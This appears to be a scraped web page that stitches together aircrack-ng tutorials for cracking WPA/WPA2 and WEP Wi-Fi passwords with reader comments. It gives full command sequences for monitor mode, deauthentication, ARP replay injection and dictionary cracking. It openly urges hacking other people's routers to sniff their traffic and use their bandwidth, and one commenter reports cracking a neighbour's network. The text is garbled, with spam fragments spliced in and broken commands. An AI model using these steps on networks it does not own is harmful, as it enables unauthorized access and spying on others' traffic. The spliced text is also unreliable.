You already know that if you want to lock down your Wi-Fi. How to Crack a Wi-Fi Network's WEP Password with BackTrack. Dozens of tutorials on how to crack. This is quick and dirty explanation of two sample WPA capture files Backtrack 5 wpa crack tutorial pdf. Backtrack 5 R3. And the Wi-Fi.

If you want to know how to hack WiFi access point – just read this step by step aircrack-ng tutorial, run the verified commands and hack WiFi password easily. With the help a these commands you will be able to hack WiFi AP (access points) that use WPA/WPA2-PSK (pre-shared key) encryption. The basis of this method of hacking WiFi lies in capturing of the WPA/WPA2 authentication handshake and then cracking the PSK using aircrack-ng. How to hack WiFi – the action plan: • Download and install the latest aircrack-ng • Start the wireless interface in monitor mode using the airmon-ng • Start the airodump-ng on AP channel with filter for BSSID to collect authentication handshake • [Optional] Use the aireplay-ng to deauthenticate the wireless client • Run the aircrack-ng to hack the WiFi password by cracking the authentication handshake 1. Aircrack-ng: Download and Install The Latest Version Only: If you really want to hack WiFi – do not install the old aircrack-ng from your OS repositories. Download and compile the latest version manually. Install the required dependencies: $ sudo apt-get install build-essential libssl-dev libnl-3-dev pkg-config libnl-genl-3-dev Download and install the latest aircrack-ng (): $ wget -O - tar -xz $ cd aircrack-ng-1.2-rc4 $ sudo make $ sudo make install Ensure that you have installed the latest version of aircrack-ng: $ aircrack-ng --help Aircrack-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe 2.

Airmon-ng: Monitor Mode. Now it is required to start the wireless interface in monitor mode. Monitor mode allows a computer with a wireless network interface to monitor all traffic received from the wireless network.

What is especially important for us – monitor mode allows packets to be captured without having to associate with an access point. Find and stop all the processes that use the wireless interface and may cause troubles: $ sudo airmon-ng check kill Start the wireless interface in monitor mode: $ sudo airmon-ng start wlan0 InterfaceChipset Driver wlan0 Intel 6235iwlwifi - [phy0] (monitor mode enabled on mon0) In the example above the airmon-ng has created a new wireless interface called mon0 and enabled on it monitor mode. So the correct interface name to use in the next parts of this tutorial is the mon0.

Now, when our wireless adapter is in monitor mode, we have a capability to see all the wireless traffic that passes by in the air. Now wait until airodump-ng captures a handshake. If you want to speed up this process – go to the step #4 and try to force wireless client reauthentication.

After some time you should see the WPA handshake: 00:11:22:33:44:55 in the top right-hand corner of the screen. This means that the airodump-ng has successfully captured the handshake: CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46 WPA handshake: 00:11:22:33:44:55 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:11:22:33:44:55 -48 212 1536 66 1 54e WPA2 CCMP PSK CrackMe BSSID STATION PWR Rate Lost Frames Probe 00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -44 0 - 1 114 56 4.

If you can’t wait till airodump-ng captures a handshake, you can send a message to the wireless client saying that it is no longer associated with the AP.

The wireless client will then hopefully reauthenticate with the AP and we’ll capture the authentication handshake. Send deauth to broadcast: $ sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 mon0 --ignore-negative-one Send directed deauth (attack is more effective when it is targeted): $ sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0 --ignore-negative-one Option Description --deauth 100 The number of de-authenticate frames you want to send (0 for unlimited) -a The MAC address of the access point -c The MAC address of the client mon0 The wireless interface --ignore-negative-one Fixes the ‘fixed channel: -1’ error message Cool Tip: Need to hack WiFi password? Don’t wast your time! Use “John the Ripper” – the fastest password cracker! Aircrack-ng: Hack WiFi Password.

Unfortunately there is no way except brute force to break WPA/WPA2-PSK encryption. To hack WiFi password, you need a password dictionary. And remember that this type of attack is only as good as your password dictionary. You can download some dictionaries from.

Crack the WPA/WPA2-PSK with the following command: $ aircrack-ng -w wordlist.dic -b 00:11:22:33:44:55 WPAcrack.cap Option Description -w The name of the dictionary file -b The MAC address of the access point WPAcrack.cap The name of the file that contains the authentication handshake Aircrack-ng 1.2 beta3 r2393 [00:08:11] 548872 keys tested (1425.24 k/s) KEY FOUND!

Welcome back, my rookie hackers! When Wi-Fi was first developed and popularized in the late '90s, security was not a major concern.

Unlike wired connections, anyone could simply connect to a Wi-Fi access point (AP) and steal bandwidth, or worse—sniff the traffic. The first attempt at securing these access points was termed Wired Equivalent Privacy, or simply WEP. This encryption method has been around for quite awhile and a number of weaknesses have been discovered. It has been largely replaced by WPA and WPA2. Despite these known weaknesses, there are still a significant number of these legacy APs in use. I was recently (July 2013) working at a major U.S. Department of Defense contractor in Northern Virginia, and in that building, probably a quarter of the wireless APs were still using WEP!

Apparently, a number of home users and small businesses bought their APs years ago, have never upgraded, and don't realize or don't care about its lack of security. The flaws in WEP make it susceptible to various statistical cracking techniques. WEP uses RC4 for encryption, and RC4 requires that the initialization vectors (IVs) be random.

The implementation of RC4 in WEP repeats that IV about every 6,000 frames. If we can capture enough of the IVs, we can decipher the key! Now, you might be asking yourself, 'Why would I want to when I have my own Wi-Fi router and access?' The answer is multi-fold. First, if you hack someone else's Wi-Fi router, you can navigate around the web anonymously, or more precisely, with someone else's IP address. Second, once you hack the Wi-Fi router, you can decrypt their traffic and use a sniffing tool like or to capture and spy on all of their traffic.

Third, if you use torrents to download large files, you can use someone else's bandwidth, rather than your own. This will start capturing packets from the SSID 'wonderhowto' on channel 11 and write them to file WEPcrack in the pcap format.

This command alone will now allow us to capture packets in order to crack the WEP key, if we are VERY patient. But we're not patient, we want it now! We want to crack this key ASAP, and to do that, we will need to inject packets into the AP. We now need to wait for someone to connect to the AP so that we can get the MAC address from their network card. When we have their MAC address, we can spoof their MAC and inject packets into their AP. As we can see at the bottom of the screenshot, someone has connected to the 'wonderhowto' AP. Now we can hasten our attack!

Step 5: Inject ARP Traffic To spoof their MAC and inject packets, we can use the aireplay-ng command. We need the BSSID of the AP and the MAC address of the client who connected to the AP. We will be capturing an ARP packet and then replaying that ARP thousands of times in order to generate the IVs that we need to crack WEP. • aireplay-ng -3 -b 00::09:58:6F:64:1E -h 44:60:57:c8:58:A0 mon0. If we have enough IVs, aircrack-ng will display the key on our screen, usually in hexadecimal format. 10 Feet Super Stomper Download Youtube here. Simply take that hex key and apply it when logging into the remote AP and you have free wireless!

If it's something unrelated, try asking in the.,, and images via Shutterstock Related. I've just created an account just to say a big THANKS for your tutorials. They're absolutely great for a nooby like me.:) BTW: I've just craked a neighbour's WiFi, but I can't get an IP from her router's DHCP nor I can connect with an static IP. In your opinion, what do you think is the cause for that?

Also, I was following the tutorial, and meanwhile on my PC I've changed directories on the cli. It turns out that airodump-ng writes the.cap file on the cwd, and it took me 25 minuts of reading man pages, until it occured to me where the files where, since misteriously they weren't appearing on the Home directory.:) Reply.

Thanks, I'll try it. Nop, I'm using BackTrack. Reading the answer you gave to Hersey I got a little confused and I thought that airodump-ng made /root (or any other user's /home) the default location for creating the.cap files, but it turns out that it leaves the files wherever you happen to be on the terminal when you launch the command. Now that I think of it it's obvious that as a command line general rule, you execute the command on the directory you happen to be and the results are written on the same place unless specified otherwise. In my case I was on a the man directories. So, I had a dolphin window opened at /root, with some of the first attempts.cap files, and I couldn't understand why the heck airodump-ng wasn't creating new ones despite it looked it was running ok, and aireplay-ng was outputting files properly there, until it occurred to me to cancel the process on the terminal window, and invoke ls.

Then I saw all the files sitting at the /man directory. Too much caffeine and late night computing are bad for the brain. And thanks of excellent how to:s!

I am beginning to make Linux and Hacking familiar to me and I tried to follow your how to as instructed. Unfortunately my Kali Linux terminal gives following error message: root@Hattiwatti:/home/ristosutinen# aireplay-ng -3 -b 02:BD:B9:E2:A1:78 -h 94:44:44:96:53:73 mon0 The interface MAC (00:C0:CA:59:2D:F2) doesn't match the specified MAC (-h). Ifconfig mon0 hw ether 94:44:44:96:53:73 13:05:19 Waiting for beacon frame (BSSID: 02:BD:B9:E2:A1:78) on channel -1 13:05:19 Couldn't determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch Please specify an ESSID (-e).

Can you help / tell what is wrong, please? A problem with my newest nightmare (its name is 'vodafoneC3E7'). I've had 1.323.000 beacons (and only 270 data), but no MAC client. What should I do? I've tried to deauthenticate, but still no client.

And I was on it aaaaaaaaaaaaaall weekend long (exactly 72 hours). Before >aireplay-ng -3 -b xy:z9:etc. Mon0, I did >aireplay-ng -1 0 -a xy:za:etc. -e vodafoneC3E7 mon0 and I got >'Successful:-)' The deauthenticate command was >aireplay-ng -deauth 0 -a xy:z9:etc.. But it seems as if anything I manage to accomplish in a Linux OS is immediately followed by more frustration. If I'm not mistaken, that key I received is in ACSII format which is fine. I went to a conversion website and got it in hexadecimal, which should be '32:34:33:33:43:45:41:36:44:33'.

The frustration came when I tried to enter the ASCII key as the password, which of course didn't work. I tried it with and without the colons. I tried it in hex both ways as well. I tried to connect with all of these methods in three different operating systems and nothing. I did notice something interesting.

In Ubuntu 14.04 the 'Connect' button apparently highlights when you have entered the right amount of characters. For this particular signal, the button only highlights when five characters are entered. I checked some other signals and with each the button highlights at a certain number of characters entered and allows for more but with the WEP signal that I'm targeting, it's five, no more and no less. I'm sure that, as always, the problem is with me and there's something that I'm not doing correctly. I'm sorry OTC.

It seems like I'm always the problem child. Senseis, I hav tried to crack the wep key off different networks lo learn and increase my understanding of the aircrak-ng suite. Yet, this week i have been struggling with a particular WiFi. The increase rate of the data (IVs) is slow, so i tried to boost it using the arp injection. I don't know why, but it is not efficient. Instead of having a fast increase of data due to ARP replay, i only end up capturing 10's or maybe a 100 of ARP and aknowledgement packets after maybe 10 or 15 mins. I did some readings and tried also to do a clientless crack usinf a FakeAuth followed by an ARP Injection.

Still the same issue. I even tried to replay different types of packets i captured earlier during the week (using aireplay-ng -2 -p 0841 -r capture. Usb Redirector Rdp Edition Keygen Music here. cap.) But same issues. I don't understand why the arp injection doesn't work or it seems sometimes to start working before it quickly stops.

Could it be because of some firewalls or other type of protection (even if arp is at the data link layer) or am i doing something wrong?? Edit1: While i am at it, i noticed that the aireplay-ng doesn't allow us to specify the channel. So whenever i tried to use it i end up having a message in the terminal like, interface is on channel 6, channel 1 expected. The only solution i found is to try again until it so happens that i lunch the script when the interface is on the right channel.

I am pretty confident that a way to fix the channel during aireplay exists. Final thing, can 1 interface card be used to hack 2 or more WiFis at the same time (they can be on the same channel or not) (i noticed that airodump works fine, but something is off when i use aireplay) Edit2: To verify that i didn't do any arror, i tried the same technique at work on some random WiFi. It works (not as fast as i remember but that's probably because of the WiFi signal quality). Hi there, I just bought Alfa AWUS036H 1000mW wifi adapter and tried WEP crack of my home router. I was working on my i5 desktop computer with Kali booted from USB stick.

I had no client connected to wifi so I used deauth type of attack but data was rising very slow (after 20 mins I had maybe 300). Am I doing something wrong? Do I need to install driver and not to use generic one which adapter automatically obtains when connected to the host? Thanks EDIT I found I have that problem when cracking WEP on my ASUS RT-10, but when I create one wifi VLAN with WEP encryption on my Linksys E2000 (with dd-wrt fw) I am able to rapidly increase Data packets - but I do not know why.

Sir OTW, i'm really impressed by your tutorials so far and now I wanted to try on my own so i made a live usb for kali and tried to crack my own router's wifi wpa. But i ran into a problem that is after this command airodump-ng --bssid (my router's mac) -c (my router's channel -w WEPcrack mon0, I see no clients connected to it however my phone and other phones are connected to this wifi. Can you tell me where am i going wrong. Also I am using an atheros wifi usb as wireless adaptor and monitor mode is enabled on it. I'll be glad if you could help as you are my only source:) Reply.
